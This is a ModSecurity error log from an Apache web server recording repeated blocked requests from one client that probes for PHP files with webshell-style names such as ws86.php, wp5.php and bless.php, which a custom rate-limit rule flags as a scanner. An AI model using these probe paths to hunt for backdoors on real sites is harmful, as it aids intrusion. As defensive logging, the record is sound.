[Sun Apr 05 05:31:48.931003 2026] [:error] [pid 45304:tid 45360] [client 4.225.160.61:7516] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adGDRA5jnqDKKovdRkn_4gAAAFA"]
[Sun Apr 05 05:31:50.281465 2026] [:error] [pid 45409:tid 45422] [client 4.225.160.61:59825] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adGDRtHt_Oyw03gjCNi-bQAAAMs"]
[Sun Apr 05 05:31:51.773152 2026] [:error] [pid 45305:tid 45371] [client 4.225.160.61:45872] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adGDR-jDQjr7aWhjflD_YwAAAIA"]
[Sun Apr 05 05:31:52.529811 2026] [:error] [pid 45305:tid 45373] [client 4.225.160.61:58963] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "adGDSOjDQjr7aWhjflD_agAAAII"]
[Sun Apr 05 05:31:54.534869 2026] [:error] [pid 45409:tid 45424] [client 4.225.160.61:45422] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "adGDStHt_Oyw03gjCNi-fAAAAM0"]
[Sun Apr 05 05:31:55.875822 2026] [:error] [pid 45305:tid 45382] [client 4.225.160.61:7547] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "adGDS-jDQjr7aWhjflD_egAAAIs"]
[Sun Apr 05 05:31:57.228760 2026] [:error] [pid 45409:tid 45432] [client 4.225.160.61:45901] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "adGDTdHt_Oyw03gjCNi-ggAAANU"]
[Sun Apr 05 05:31:58.755139 2026] [:error] [pid 30921:tid 30942] [client 4.225.160.61:45908] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adGDTmFGQVn8Q0ueB25hogAAARM"]
[Sun Apr 05 05:32:00.522599 2026] [:error] [pid 45305:tid 45391] [client 4.225.160.61:7536] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adGDUOjDQjr7aWhjflD_kQAAAJQ"]
[Sun Apr 05 05:32:02.627849 2026] [:error] [pid 45303:tid 45339] [client 4.225.160.61:16172] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adGDUrboQ9eViZ4hdnl6TQAAABY"]
[Sun Apr 05 05:32:03.717960 2026] [:error] [pid 45304:tid 45347] [client 4.225.160.61:7527] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adGDUw5jnqDKKovdRkn_8QAAAEM"]
[Sun Apr 05 05:32:05.675984 2026] [:error] [pid 30921:tid 30944] [client 4.225.160.61:61063] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0yellow.php"] [unique_id "adGDVWFGQVn8Q0ueB25hrwAAARU"]
[Sun Apr 05 05:32:07.766665 2026] [:error] [pid 45305:tid 45373] [client 4.225.160.61:24188] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0yellow.php"] [unique_id "adGDV-jDQjr7aWhjflD_oQAAAII"]
[Sun Apr 05 05:32:09.524479 2026] [:error] [pid 30921:tid 30925] [client 4.225.160.61:24186] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0yellow.php"] [unique_id "adGDWWFGQVn8Q0ueB25hvwAAAQI"]
[Sun Apr 05 05:32:11.951552 2026] [:error] [pid 45303:tid 45329] [client 4.225.160.61:7539] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0yellow.php"] [unique_id "adGDW7boQ9eViZ4hdnl6XgAAAAw"]
[Sun Apr 05 05:32:13.143830 2026] [:error] [pid 45305:tid 45382] [client 4.225.160.61:24128] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "adGDXejDQjr7aWhjflD_qwAAAIs"]
[Sun Apr 05 05:32:14.621162 2026] [:error] [pid 45305:tid 45378] [client 4.225.160.61:61111] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "adGDXujDQjr7aWhjflD_swAAAIc"]
[Sun Apr 05 05:32:16.056368 2026] [:error] [pid 45305:tid 45373] [client 4.225.160.61:7669] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "adGDYOjDQjr7aWhjflD_vAAAAII"]
[Sun Apr 05 05:32:16.997800 2026] [:error] [pid 45304:tid 45360] [client 4.225.160.61:7678] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "adGDYA5jnqDKKovdRkkAAgAAAFA"]
[Sun Apr 05 05:32:18.566175 2026] [:error] [pid 45409:tid 45412] [client 4.225.160.61:24154] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adGDYtHt_Oyw03gjCNi-ogAAAME"]
[Sun Apr 05 05:32:21.366605 2026] [:error] [pid 45305:tid 45373] [client 4.225.160.61:20439] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adGDZejDQjr7aWhjflD_0QAAAII"]
[Sun Apr 05 05:32:23.740786 2026] [:error] [pid 45305:tid 45387] [client 4.225.160.61:21758] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adGDZ-jDQjr7aWhjflD_3QAAAJA"]
[Sun Apr 05 05:32:25.422734 2026] [:error] [pid 45305:tid 45377] [client 4.225.160.61:24402] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adGDaejDQjr7aWhjflD_7AAAAIY"]
[Sun Apr 05 05:32:27.093614 2026] [:error] [pid 45409:tid 45435] [client 4.225.160.61:23539] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "adGDa9Ht_Oyw03gjCNi-tQAAANg"]
[Sun Apr 05 05:32:29.025992 2026] [:error] [pid 45303:tid 45317] [client 4.225.160.61:32011] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "adGDbbboQ9eViZ4hdnl6ewAAAAA"]
[Sun Apr 05 05:32:30.629988 2026] [:error] [pid 45303:tid 45328] [client 4.225.160.61:30182] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "adGDbrboQ9eViZ4hdnl6fAAAAAs"]
[Sun Apr 05 05:32:31.518411 2026] [:error] [pid 30921:tid 30934] [client 4.225.160.61:20442] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "adGDb2FGQVn8Q0ueB25h2wAAAQs"]
[Sun Apr 05 05:32:32.618314 2026] [:error] [pid 45305:tid 45388] [client 4.225.160.61:54516] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adGDcOjDQjr7aWhjflAAGAAAAJE"]
[Sun Apr 05 05:32:33.770725 2026] [:error] [pid 45409:tid 45423] [client 4.225.160.61:32000] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adGDcdHt_Oyw03gjCNi-uwAAAMw"]
[Sun Apr 05 05:32:35.643191 2026] [:error] [pid 45409:tid 45417] [client 4.225.160.61:56108] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adGDc9Ht_Oyw03gjCNi-vgAAAMY"]
[Sun Apr 05 05:32:36.775359 2026] [:error] [pid 45305:tid 45378] [client 4.225.160.61:23523] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adGDdOjDQjr7aWhjflAAMAAAAIc"]
[Sun Apr 05 05:32:37.990027 2026] [:error] [pid 30921:tid 30926] [client 4.225.160.61:56111] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aligk.php"] [unique_id "adGDdWFGQVn8Q0ueB25h5wAAAQM"]
[Sun Apr 05 05:32:38.756418 2026] [:error] [pid 30921:tid 30927] [client 4.225.160.61:16067] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aligk.php"] [unique_id "adGDdmFGQVn8Q0ueB25h6wAAAQQ"]
[Sun Apr 05 05:32:54.601030 2026] [:error] [pid 45305:tid 45392] [client 4.225.160.61:21724] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp5.php"] [unique_id "adGDhujDQjr7aWhjflAAiwAAAJU"]
[Sun Apr 05 05:32:57.450692 2026] [:error] [pid 45305:tid 45393] [client 4.225.160.61:24433] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp5.php"] [unique_id "adGDiejDQjr7aWhjflAAkwAAAJY"]
[Sun Apr 05 05:32:58.955083 2026] [:error] [pid 45305:tid 45371] [client 4.225.160.61:52199] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp5.php"] [unique_id "adGDiujDQjr7aWhjflAAlAAAAIA"]
[Sun Apr 05 05:33:01.145526 2026] [:error] [pid 30921:tid 30942] [client 4.225.160.61:25401] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp5.php"] [unique_id "adGDjWFGQVn8Q0ueB25iFgAAARM"]
[Sun Apr 05 05:33:01.860011 2026] [:error] [pid 45303:tid 45325] [client 4.225.160.61:8190] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws87.php"] [unique_id "adGDjbboQ9eViZ4hdnl6pwAAAAg"]
[Sun Apr 05 05:33:03.341176 2026] [:error] [pid 45305:tid 45393] [client 4.225.160.61:25384] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws87.php"] [unique_id "adGDj-jDQjr7aWhjflAApgAAAJY"]
[Sun Apr 05 05:33:04.285717 2026] [:error] [pid 45409:tid 45431] [client 4.225.160.61:8136] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws87.php"] [unique_id "adGDkNHt_Oyw03gjCNi_CwAAANQ"]
[Sun Apr 05 05:33:04.846252 2026] [:error] [pid 45409:tid 45424] [client 4.225.160.61:4105] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws87.php"] [unique_id "adGDkNHt_Oyw03gjCNi_EQAAAM0"]
[Sun Apr 05 05:33:05.635334 2026] [:error] [pid 45305:tid 45393] [client 4.225.160.61:52211] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buc.php"] [unique_id "adGDkejDQjr7aWhjflAAswAAAJY"]
[Sun Apr 05 05:33:06.550289 2026] [:error] [pid 45303:tid 45320] [client 4.225.160.61:8181] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buc.php"] [unique_id "adGDkrboQ9eViZ4hdnl6swAAAAM"]
[Sun Apr 05 05:33:07.204429 2026] [:error] [pid 30921:tid 30932] [client 4.225.160.61:8131] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buc.php"] [unique_id "adGDk2FGQVn8Q0ueB25iLQAAAQk"]
[Sun Apr 05 05:33:08.937114 2026] [:error] [pid 45303:tid 45333] [client 4.225.160.61:52183] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buc.php"] [unique_id "adGDlLboQ9eViZ4hdnl6vgAAABA"]
[Sun Apr 05 05:33:12.330713 2026] [:error] [pid 45303:tid 45337] [client 4.225.160.61:54481] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cap.php"] [unique_id "adGDmLboQ9eViZ4hdnl6xwAAABQ"]
[Sun Apr 05 05:33:14.413328 2026] [:error] [pid 30921:tid 30931] [client 4.225.160.61:23153] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cap.php"] [unique_id "adGDmmFGQVn8Q0ueB25iZQAAAQg"]
[Sun Apr 05 05:33:17.203137 2026] [:error] [pid 45305:tid 45389] [client 4.225.160.61:26417] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cap.php"] [unique_id "adGDnejDQjr7aWhjflAA3AAAAJI"]
[Sun Apr 05 05:33:19.386564 2026] [:error] [pid 45303:tid 45334] [client 4.225.160.61:26374] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cap.php"] [unique_id "adGDn7boQ9eViZ4hdnl62AAAABE"]
[Sun Apr 05 05:33:20.677315 2026] [:error] [pid 45305:tid 45372] [client 4.225.160.61:55027] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adGDoOjDQjr7aWhjflAA7wAAAIE"]
[Sun Apr 05 05:33:21.835253 2026] [:error] [pid 45305:tid 45390] [client 4.225.160.61:26406] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adGDoejDQjr7aWhjflAA9QAAAJM"]
[Sun Apr 05 05:33:23.931305 2026] [:error] [pid 45305:tid 45390] [client 4.225.160.61:4123] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adGDo-jDQjr7aWhjflABCgAAAJM"]
[Sun Apr 05 05:33:25.030870 2026] [:error] [pid 45305:tid 45387] [client 4.225.160.61:23129] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adGDpejDQjr7aWhjflABFQAAAJA"]
[Sun Apr 05 05:33:27.128756 2026] [:error] [pid 45305:tid 45390] [client 4.225.160.61:19671] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "adGDp-jDQjr7aWhjflABHAAAAJM"]
[Sun Apr 05 05:33:29.079578 2026] [:error] [pid 45305:tid 45378] [client 4.225.160.61:30767] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "adGDqejDQjr7aWhjflABJwAAAIc"]
